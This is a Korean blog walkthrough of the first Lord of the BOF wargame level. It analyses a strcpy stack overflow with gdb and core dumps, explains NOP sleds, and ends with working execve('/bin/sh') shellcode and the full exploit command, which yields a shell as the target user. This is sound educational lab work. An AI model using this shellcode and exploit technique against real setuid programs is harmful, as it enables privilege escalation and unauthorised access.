ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL1] (gate -> gremlin) : simple bof
    Wargame/LordOfTheBof (redhat) 2013. 6. 25. 17:43

    앞으로 작성하는 글은 BOF 원정대에 대한 풀이법 작성이 목적이기에, 기본적인 BOF의 원리나 방법에 대해선 작성하지 않겠다.

    기본적인 BOF의 사전지식은 비스트님이 작성하신 글을 참고하기 바란다.


    1. 문제 Source

    /*
    	The Lord of the BOF : The Fellowship of the BOF 
    	- gremlin
    	- simple BOF
    */
     
    int main(int argc, char *argv[])
    {
        char buffer[256];
        if(argc < 2){
            printf("argv error\n");
            exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
    }

    단순한 Buffer Over Flow 문제이다. buffer가 256 바이트로 선언되어 있고, BOF에 취약한 strcpy 함수를 이용해 argv[1]값을 buffer에 복사하므로 BOF가 발생한다.


    2. GDB로 분석

    원본파일에는 권한이 없기 때문에 GDB 사용에 어려움이 따를수도 있다. 원본을 복사하여 사용하자.

    (참고 : 원본파일과 파일명 길이가 다를경우 메모리 주소에 차이가 있을수도 있으니, 가능하면 파일명은 같은 길이로 복사하자)

    [gate@localhost gate]$ cp gremlin gremlia


    이후 복사본을 gdb로 열어 분석한다.

    [gate@localhost gate]$ gdb -q gremlia

    (gdb) set disassembly-flavor intel

    (gdb) disas main

    Dump of assembler code for function main:

    0x8048430 <main>: push   %ebp

    0x8048431 <main+1>: mov    %ebp,%esp

    0x8048433 <main+3>: sub    %esp,0x100

    0x8048439 <main+9>: cmp    DWORD PTR [%ebp+8],1

    0x804843d <main+13>: jg     0x8048456 <main+38>

    0x804843f <main+15>: push   0x80484e0

    0x8048444 <main+20>: call   0x8048350 <printf>

    0x8048449 <main+25>: add    %esp,4

    0x804844c <main+28>: push   0

    0x804844e <main+30>: call   0x8048360 <exit>

    0x8048453 <main+35>: add    %esp,4

    0x8048456 <main+38>: mov    %eax,DWORD PTR [%ebp+12]

    0x8048459 <main+41>: add    %eax,4

    0x804845c <main+44>: mov    %edx,DWORD PTR [%eax]

    0x804845e <main+46>: push   %edx

    0x804845f <main+47>: lea    %eax,[%ebp-256]

    0x8048465 <main+53>: push   %eax

    0x8048466 <main+54>: call   0x8048370 <strcpy>

    0x804846b <main+59>: add    %esp,8

    0x804846e <main+62>: lea    %eax,[%ebp-256]

    0x8048474 <main+68>: push   %eax

    0x8048475 <main+69>: push   0x80484ec

    0x804847a <main+74>: call   0x8048350 <printf>

    0x804847f <main+79>: add    %esp,8

    0x8048482 <main+82>: leave  

    0x8048483 <main+83>: ret    

    gdb 의 -q 옵션 - gdb 실행당시 Copyright 1998 Free Software Foundation, Inc. 등의 라이센스 설명이 나오는데, 이를 생략해주는 옵션이다.

    set disassembly-flavor intel - 인텔 문법으로 어셈블리 언어를 보게 하는 명령어다.

    disas main - main함수를 dissasemble 해준다.

    <main+3> 부분을 보면 더미값 없이 딱 0x100(256)만큼 buffer를 생성하는 것을 볼 수 있다.

    그럼 buf(256) + sfp(4) + ret(4) 와 같이 스택이 생성될 것이다. 확인해보자.


    [gate@localhost gate]$ ulimit -c unlimited

    [gate@localhost gate]$ ./gremlia `python -c "print 'A'*256 + 'BBBB' + 'CCCC'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC

    Segmentation fault (core dumped)

    [gate@localhost gate]$ ls -l

    total 92

    -rw-------    1 gate     gate        61440 Jun 25 15:20 core

    -rwsr-sr-x    1 gate     gate        11987 May 30 03:33 gremlia

    -rwsr-sr-x    1 gremlin  gremlin     11987 Feb 26  2010 gremlin

    -rw-rw-r--    1 gate     gate          272 Mar 29  2010 gremlin.c

    [gate@localhost gate]$ gdb -q gremlia core

    Core was generated by `./gremlia AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.

    Program terminated with signal 11, Segmentation fault.

    Reading symbols from /lib/libc.so.6...done.

    Reading symbols from /lib/ld-linux.so.2...done.

    #0  0x43434343 in ?? ()

    (gdb) i reg

    eax            0x109 265

    ecx            0x400 1024

    edx            0x40106980 1074817408

    ebx            0x401081ec 1074823660

    esp            0xbffffa20 -1073743328

    ebp            0x42424242 1111638594

    esi            0x4000ae60 1073786464

    edi            0xbffffa64 -1073743260

    eip            0x43434343 1128481603

    ulimit -c unlimited - 프로그램 실행중 segmentation fault와 같은 crash가 날때, 프로세스의 메모리 이미지를 덤프한 것을 core 파일로 생성하게 하는 명령어, 이후 원본파일과 대조하여 gdb로 분석.

    i reg - 현재 레지스트리 확인

    예상했던 대로 ebp(sfp)는 0x42424242(BBBB)로, eip(ret)는 0x43434343(CCCC)로 덮여있음을 확인가능하다.

    eip를 조작할 수 있으니, buf(256)에 shellcode를 넣고, eip를 shellcode의 주소로 덮으면 main함수가 종료될때 shellcode가 실행될 것이다.

    이제 gdb에서 break point를 걸어서 shellcode가 들어가는 주소를 확인해보자.


    (gdb) b *main+62

    Breakpoint 1 at 0x804846e

    (gdb) r `python -c "print 'A'*256 + 'BBBB' + 'CCCC'"`

    Starting program: /home/gate/gremlia `python -c "print 'A'*256 + 'BBBB' + 'CCCC'"`


    Breakpoint 1, 0x804846e in main ()

    (gdb) x/80wx $esp

    0xbffff908: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff918: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff928: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff938: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff948: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff958: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff968: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff978: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff988: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff998: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff9a8: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff9b8: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff9c8: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff9d8: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff9e8: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffff9f8: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffa08: 0x42424242 0x43434343 0x00000000 0xbffffa54

    0xbffffa18: 0xbffffa60 0x40013868 0x00000002 0x08048380

    0xbffffa28: 0x00000000 0x080483a1 0x08048430 0x00000002

    0xbffffa38: 0xbffffa54 0x080482e0 0x080484bc 0x4000ae60

    strcpy가 끝나는 <main+62>부분에 break point를 걸었다.

    0xbffff908가 buf의 시작 주소임이 확인 가능하지만, 가끔 gdb로 보이는것과 실제 주소값이 다를때가 있다. (가장 정확한것은 core파일을 분석하는 것이다.)

    이럴때를 대비해 우리는 NOP(\x90)을 쓰기로 한다. NOP란 No OPeration의 약자로, 글자 그대로 풀이하면 실행하지 않는다는 뜻이다. CPU가 이 명령을 만나게 되면, 아무것도 하지않고 다음 명령을 실행하게 된다.

    즉 앞부분에 많은 NOP를 박아 넣은 뒤에 shellcode를 입력하고, 적당히 NOP가 있는 주소를 찍어주면 알아서 NOP를 타고 미끄러듯이 shellcode까지 와서 명령을 실행하게 된다. 이러한 기법을 NOP Sled라고 한다.

    적당히 중간 주소인 0xbffff948을 eip로 덮고, 앞부분에 많은 NOP를 추가해서 exploit을 시도하자.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 41 Byte)

    \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


    이제 위의 shellcode를 이용해 shell을 획득하자. shellcode뒤에는 최소 16 Byte의 공간이 있어야 shellcode가 실행이 된다.

    아래는 최종 구성이다.

    NOP 

    shellcode 

    NOP 

    SFP 

    RET 

     199 Byte

    41 Byte 

    16 Byte 

    4 Byte 

    4 Byte 

     256 Byte


    [gate@localhost gate]$ bash2

    [gate@localhost gate]$ ./gremlin `python -c "print '\x90'*199 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*16 + 'BBBB' + '\x48\xf9\xff\xbf'"`

    �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1��1̀�É�1��F̀1�Ph//shh/bin��PS��1Ұ

               ����������������BBBBH���

    bash$ id 

    uid=501(gremlin) gid=500(gate) egid=501(gremlin) groups=500(gate)

    bash$ my-pass

    euid = 501

    hello bof world

    bash2 - 구버전의 bash에서는 0xff를 인식하지 못하는 버그가 있다. 따라서 업그레이드 버전인 bash2를 이용하였다.


    성공 !


Designed by Tistory.